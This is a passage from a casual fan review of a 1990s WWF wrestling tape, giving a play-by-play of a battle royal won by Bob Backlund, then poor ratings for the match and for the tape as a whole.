Kwang (Savio Vega in a Japanese monster gimmick) is in there too. Sparky Plugg (Hardcore Holly) is in there. I think that’s everyone. Oh and Diesel is in it too. Duke Droese is in it. I’m missing one guy. Blast it I hate when that happens. Oh it’s Nikolai Volkoff. That’s much better. Yes Volkoff made things better. That’ll never happen again.

Standard battle royal so far with the guys kicking and punching on the ropes. There goes Typhoon as we’re down to 17 I think. Diesel and Mabel go at it in a preview of the worst PPV main event of all time. Backlund puts Tom Pritchard (Heavenly Bodies) out. That leaves us with sixteen I believe. Bigelow misses a clothesline to put us down to 15. Backlund puts out another one, this time Bart Gunn.

Kid slips back under the ropes and tries to put out Kwang but this is pre-99 so he can’t beat giants yet. We hit another time freeze and as I type that Kwang and Adam Bomb go out to thin the ranks out a bit. I think we have 12 yet but that’s just a head count. I don’t see Nikolai. Diesel puts Mabel out and I think we have ten left. The fans chant for Diesel. There’s a reason he would be world champion in less than 3 months.

And just like that everyone gangs up on Diesel and he’s gone. I count 9 at this point: IRS, Holly, Droese, Backlund, Samu, Billy Gunn, Del Ray (Heavenly Body), Jarrett and the Kid. Just after I unpause the video to count them, Lane lists them off. Blast it. Oh well the tape is almost over so I can’t complain. Jarrett throws Holly out. He and IRS team up a bit and get rid of Droese.

Del Ray goes over but doesn’t hit the floor in a nice save. Irwin is out as is Del Ray, leaving us with Kid, Gunn, Backlund, Samu and Jarrett. Everyone other than Kid is on the ropes and then all four others put Samu out. The final four are Jarrett, Backlund, Billy and Kid. Sorry if I missed some eliminations but they weren’t mentioned and the camera missed them too.

Jarrett dumps Billy to get us down to three. Kid goes up top but lands on the apron and sends Jarrett out to get us down to the 1-2-3 Kid and Bob Backlund. PLEASE let Backlund win! He gets the Crossface Chickenwing on as he’s snapping again. Yep there goes the Kid and Backlund gets the win. He’s SCARY with those insane eyes.

Rating: D. I wasn’t too thrilled with this. Backlund winning wasn’t that bad but getting there indeed was. This was just incredibly boring the entire time with nothing interesting happening at all. With all the missed eliminations and the lack of star power (for the time at least) this really didn’t do anything for me in the slightest. Pretty bad match.

Overall Rating: F. Oh thank goodness this is finally over. This is easily one of the worst tapes I’ve ever sat through, which is saying a lot given that there are two Bret matches on here. I even gave some matches some ok grades, but that’s not saying much. Even the good matches are just barely ok at best with even Bret vs. Owen being dull. Boring tape that I had to pause about three dozen times to watch something more interesting. I think it was called Wrestlemania 11? Anyway, terrible, and I mean TERRIBLE, tape.